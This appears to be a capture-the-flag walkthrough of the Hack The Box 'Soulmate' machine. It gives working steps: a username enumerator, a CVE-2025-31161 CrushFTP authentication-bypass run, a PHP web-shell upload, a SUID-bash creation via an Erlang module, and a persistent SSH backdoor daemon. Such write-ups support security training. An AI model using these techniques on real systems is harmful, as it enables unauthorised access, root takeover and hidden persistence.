RECON

Port Scan

$ rustscan -a $target_ip --ulimit 2000 -r 1-65535 -- -A sS -Pn

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
|   256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp   open  http    syn-ack nginx 1.18.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soulmate.htb/
4369/tcp open  epmd    syn-ack Erlang Port Mapper Daemon
| epmd-info:
|   epmd_port: 4369
|   nodes:
|_    ssh_runner: 44667
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

A choice artifact in our footprinting: 4369/tcp → EPMD (Erlang Port Mapper Daemon)—the runtime's switchboard.

Think of it like a phonebook for Erlang nodes. Here, a node ([email protected]) contacts epmd and says: “Hey, I'm ssh_runner, I'll listen on port 44667.” Then epmd keeps this mapping: ssh_runner → 44667.

Port 80

A PHP web app with a clean on-ramp: registration via register.php and a profile-photo upload:

htb_soulmate_1

The backend is permissive to a fault—it accepts a PHP file as an “image":

htb_soulmate_2

Verdict: lax validation and inadequate server-side sanitization.

Subdomain

Subdomain fuzzing to widen the frontage:

$ ffuf -c -u "http://soulmate.htb" -H "Host: FUZZ.soulmate.htb" -w ~/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 50 -fs 154

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://soulmate.htb
 :: Wordlist         : FUZZ: /home/Axura/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.soulmate.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 50
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 154
________________________________________________

ftp                     [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 440ms]

Result: ftp pops with a 302.

htb_soulmate_4

A conspicuous reveal: CrushFTP.

WEB

CrushFTP

CrushFTP is a commercial file transfer platform—FTP/FTPS/SFTP/HTTP(S)/WebDAV—popular in enterprise for its consolidated browser UI. Convenience, yes; expanded attack surface, absolutely.

Recent reporting (see theHackerNews) highlights fresh authentication-bypass weaknesses, including CVE-2025-31161 by ProjectDiscovery, which hinges on knowledge of a valid username.

Enum Usernames

We first harvest a legitimate account.

Invalid candidates return explicit errors and 530 Access denied:

htb_soulmate_5

A plausible hit like admin elicits a 502—useful differential behavior:

htb_soulmate_6

A quick enumerator:

Python
#!/usr/bin/env python3
import requests

WORDLIST = "/home/Axura/wordlists/seclists/Usernames/Names/names.txt"
usernames = []
with open(WORDLIST, "r") as f:
    for u in f:
        usernames.append(u.strip())

HOST = "ftp.soulmate.htb"
URI  = "/WebInterface/function/"
URL  = f"http://{HOST}/{URI}"

HEADERS = {
        "User-Agent": "Mozilla/5.0",
        "X-Requested-With": "XMLHttpRequest",
		"Content-Type": "[object Object]",
        }

s = requests.Session()
s.headers.update(HEADERS)

for u in usernames:
    d = F"command=login&username={u}&password=axura123"
    resp = requests.post(
            url=URL,
            data=d,
            )
    if "denied" in resp.text:
        continue
    else:
        print(f"[+] Found potential existing user: {u}")
        continue

Result:

htb_soulmate_7

CVE-2025-31161

Armed with usernames (admin, root), we trigger the bypass PoC for CVE-2025-31161.

For a deeper dive, refer to the ProjectDiscovery report, which is about Java jar decompilation and code review.

Mechanically, the flaw tolerates a trailing slash in the Authorization header:

HTTP
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/

Using the published PoC, we mint a new user derived from an existing principal, via a POST request to endpoint /WebInterface/function:

Bash
python cve-2025-31161.py \
		--target_host ftp.soulmate.htb  \
		--port 80 \
		--target_user admin \
		--new_user axura \
		--password axura

Login CrushFTP with the generated credentials. Jackpot:

htb_soulmate_8

RCE

With admin rights, the Admin dashboard opens:

htb_soulmate_9

Status reveals an SSH/SFTP endpoint on 2222 (advertised internally):

htb_soulmate_10

sftp://23.106.60.163:2222/ (SSH)CrushFTP's built-in SFTP server (SSH file transfer) on 2222.

This is not the system's OpenSSH on port 22; it's CrushFTP's own SFTP service

The built-in "Telnet" pane is a raw TCP console—useful for quick probes, not full interactivity:

htb_soulmate_11

Under "User Manager", we can manipulate local principals:

htb_soulmate_12

ben owns interesting dev artifacts (RSA-keyed SSH; no plaintext creds).

Remember:

CrushFTP uploads require VFS write perms—admin without a writable VFS cannot upload; a normal user with write-enabled VFS can.

Reset ben's password and log in:

htb_soulmate_13

We can upload files here, and the path is visible via Copy Link:

htb_soulmate_14

PHP won't execute under /ben, but ben's role grants reach into webProd, which is exactly the PHP project web root. Drop the malicious PHP there:

htb_soulmate_15

Now we can access it via the web root path http://soulmate.htb/shell.php, and the PHP file is parsed by the server properly:

htb_soulmate_16

Upload a reverse shell and trigger for post-exploitation access:

htb_soulmate_17

USER

Enum Configs

After landing a webroot reverse shell, we immediately pillage configuration—starting with config.php:

PHP
<?php
class Database {
    private $db_file = '../data/soulmate.db';
    private $pdo;

    public function __construct() {
        $this->connect();
        $this->createTables();
    }

    private function connect() {
        try {
            // Create data directory if it doesn't exist
            $dataDir = dirname($this->db_file);
            if (!is_dir($dataDir)) {
                mkdir($dataDir, 0755, true);
            }

            $this->pdo = new PDO('sqlite:' . $this->db_file);
            $this->pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
            $this->pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
        } catch (PDOException $e) {
            die("Connection failed: " . $e->getMessage());
        }
    }

    private function createTables() {
        $sql = "
        CREATE TABLE IF NOT EXISTS users (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            username TEXT UNIQUE NOT NULL,
            password TEXT NOT NULL,
            is_admin INTEGER DEFAULT 0,
            name TEXT,
            bio TEXT,
            interests TEXT,
            phone TEXT,
            profile_pic TEXT,
            last_login DATETIME,
            created_at DATETIME DEFAULT CURRENT_TIMESTAMP
        )";

        $this->pdo->exec($sql);

        // Create default admin user if not exists
        $adminCheck = $this->pdo->prepare("SELECT COUNT(*) FROM users WHERE username = ?");
        $adminCheck->execute(['admin']);

        if ($adminCheck->fetchColumn() == 0) {
            $adminPassword = password_hash('Crush4dmin990', PASSWORD_DEFAULT);
            $adminInsert = $this->pdo->prepare("
                INSERT INTO users (username, password, is_admin, name)
                VALUES (?, ?, 1, 'Administrator')
            ");
            $adminInsert->execute(['admin', $adminPassword]);
        }
    }

    public function getConnection() {
        return $this->pdo;
    }
}

...

The web app's default admin credential is admin / Crush4dmin990. But we've already compromised the host; we're hunting higher-value pivots.

Erlang

Remember the admin dashboard advertised:

  • sftp://23.106.60.163:2222/ (SSH)an SFTP/SSH endpoint on 2222.

Local truthing. Socket inspection shows it's loopback-bound:

www-data@soulmate:~$ netstat -lantp

Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:4369            0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:2222          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8443          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      1199/nginx: worker
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:9090          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:42195         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:44667         0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -
...

Recon confirms Erlang/OTP in play: EPMD (4369) plus a local Erlang node port (127.0.0.1:44667). With OTP present, the escript runner is expected:

www-data@soulmate:~$ which escript
/usr/local/bin/escript

The Erlang “script” runner escript lets us execute Erlang code as a script (shebang-style #!/usr/bin/env escript).

So we know OTP lands under /usr/local, and its runtime libs locates at /usr/local/lib/erlang:

www-data@soulmate:/usr/local/lib$ ls
erlang  erlang_login  python3.10

Side-by-side with the OTP tree (/usr/local/lib/erlang), we see a sibling /usr/local/lib/erlang_login. That name implies Erlang component related to “login”/auth:

www-data@soulmate:/usr/local/lib$ ls -l erlang_login
-rwxr-xr-x 1 root root 1570 Aug 14 14:12 login.escript
-rwxr-xr-x 1 root root 1427 Aug 15 07:46 start.escript

Both root-owned. start.escript reveals the payload:

Erlang
#!/usr/bin/env escript
%%! -sname ssh_runner

main(_) ->
    application:start(asn1),
    application:start(crypto),
    application:start(public_key),
    application:start(ssh),

    io:format("Starting SSH daemon with logging...~n"),

    case ssh:daemon(2222, [
        {ip, {127,0,0,1}},
        {system_dir, "/etc/ssh"},

        {user_dir_fun, fun(User) ->
            Dir = filename:join("/home", User),
            io:format("Resolving user_dir for ~p: ~s/.ssh~n", [User, Dir]),
            filename:join(Dir, ".ssh")
        end},

        {connectfun, fun(User, PeerAddr, Method) ->
            io:format("Auth success for user: ~p from ~p via ~p~n",
                      [User, PeerAddr, Method]),
            true
        end},

        {failfun, fun(User, PeerAddr, Reason) ->
            io:format("Auth failed for user: ~p from ~p, reason: ~p~n",
                      [User, PeerAddr, Reason]),
            true
        end},

        {auth_methods, "publickey,password"},

        {user_passwords, [{"ben", "HouseH0ldings998"}]},
        {idle_time, infinity},
        {max_channels, 10},
        {max_sessions, 10},
        {parallel_login, true}
    ]) of
        {ok, _Pid} ->
            io:format("SSH daemon running on port 2222. Press Ctrl+C to exit.~n");
        {error, Reason} ->
            io:format("Failed to start SSH daemon: ~p~n", [Reason])
    end,

    receive
        stop -> ok
    end.

It hard-codes creds: ben / HouseH0ldings998

This script starts OTP apps, then ssh:daemon(2222, …)SSH/SFTP server bound to 127.0.0.1 — proved that it stands up a full SSH server, not just sftp:

htb_soulmate_10

Pop an Erlang shell on ssh_runner@soulmate:

Bash
ssh -p 2222 [email protected]	# HouseH0ldings998

Eshell ≠ Bash. Execute OS commands via os:cmd/1 (each line ends with .):

Erlang
os:cmd("id").
os:cmd("cat /root/root.txt").
q().	% quit Eshell
htb_soulmate_18

Rooted?

Password Reuse

The recovered ben password also works on system OpenSSH (22)—a clean lateral into the Unix account:

htb_soulmate_19

ROOT

Erlang Shell

We already own the path to root, so we cut straight to the payload: open an Erlang shell on the internal daemon:

Bash
ssh -p 2222 [email protected]	# HouseH0ldings998

Because the daemon runs as root, os:cmd/1 executes with full privileges. The Eshell semantics are documented in the official guide.

Harden the session so errors don't nuke our state:

Erlang
catch_exception(true).

os:cmd/1 is sufficient to crown us.

But let's flex a few elegant plays.

1. Custom Erlang Helper

Hot-load a tiny helper via the shell's c/1, then invoke it as a bare command:

Erlang
%% 1) Write the helper module to a writable dir
file:write_file("/tmp/user_default.erl",
<<"-module(user_default).\n-export([root/0]).\nroot() -> os:cmd(\"/usr/bin/install -o root -g root -m 4755 /bin/bash /tmp/b\").\n">>).

%% 2) Compile it from /tmp so c/1 finds the file
cd("/tmp").

%% 3) Compile & load
c(user_default).

%% 4) Run the payload (thanks to user_default, this works as a bare command)
root().
  • user_default magic: In Eshell, an unqualified call like root(). resolves to user_default:root/0 first. So defining/exporting root/0 in a module named user_default makes it callable as a bare shell command.
  • c(Module) is the shell's built-in compiler helper: it compiles the .erl in the current directory and loads the .beam so we can call it immediately.

Trigger the SUID drop and step through the door:

htb_soulmate_20

Rooted.

2. Spawn A Stable Command Port

Per the Erlang security notes, we can wire an external process to our Eshell and keep it alive.

open_port/2 gives us a streaming, bidirectional handle we can keep alive, send commands to, and parse incrementally—perfect for building stable pivots or backdoors.

Erlang
%% 1) Start the port
P = open_port({spawn_executable, "/bin/sh"},
              [{args, ["-c","id; whoami; uname -a"]},
               use_stdio, exit_status, stderr_to_stdout, binary]).
  • open_port/2: spawns and connects to an external program (a “port”) and returns a Port handle P. Our Erlang process becomes the controlling process for that OS child.
  • {spawn_executable, "/bin/sh"}: run /bin/sh directly (no extra shell wrapping).
  • {args, ["-c","id; whoami; uname -a"]}: pass argv; here we ask /bin/sh to execute a single command string.
  • use_stdio: hook the child's stdin/stdout to Erlang—so we can read/write it.
  • stderr_to_stdout: merge stderr into stdout so we don't miss errors.
  • binary: deliver data as binary() chunks (faster, easier to append).
  • exit_status: when the child exits we'll receive {P, {exit_status, Code}}.

After open_port, do a receive to collect the output:

Erlang
%% 2) Collect until the program exits
Collect = fun Loop(Acc) ->
    receive
      {P, {data, Bin}}       -> Loop(<<Acc/binary, Bin/binary>>);
      {P, {exit_status, N}}  -> {N, Acc}
    end
end,
{Code, Out} = Collect(<<>>),
io:format("Exit: ~p~n~s", [Code, Out]).

We see the output of id, whoami, uname -a, plus the exit code:

htb_soulmate_21

A neat, streaming command channel—with introspection when needed:

Erlang
erlang:port_info(P).          % inspect port
link(P).                      % die if port dies (or receive {'EXIT', P, Reason})
port_close(P).                % close explicitly

3. Shadow SSH/SFTP Backdoor

Spin up a second SSH server—our own ingress with SFTP enabled:

Erlang
ssh:start(),
ssh:daemon(22222, [
  {ip,{0,0,0,0}},                           
  {system_dir,"/etc/ssh"},                
  {subsystems,[{"sftp",{ssh_sftpd,[]}}]}, 
  {auth_methods,"publickey,password"}, 
  {user_passwords,[{"axura","Axura4sure~"}]} 
]).
  • ssh:start() boots the OTP SSH application.
  • ssh:daemon/2 launches a full SSH server on port 22222.
  • {ip,{0,0,0,0}} exposes it on all network interfaces (not just localhost).
  • SFTP is explicitly enabled via the subsystems option.

Then log in via our new credentials:

Bash
ssh -p 2222 [email protected]     # Axura4sure~
htb_soulmate_22

Game over.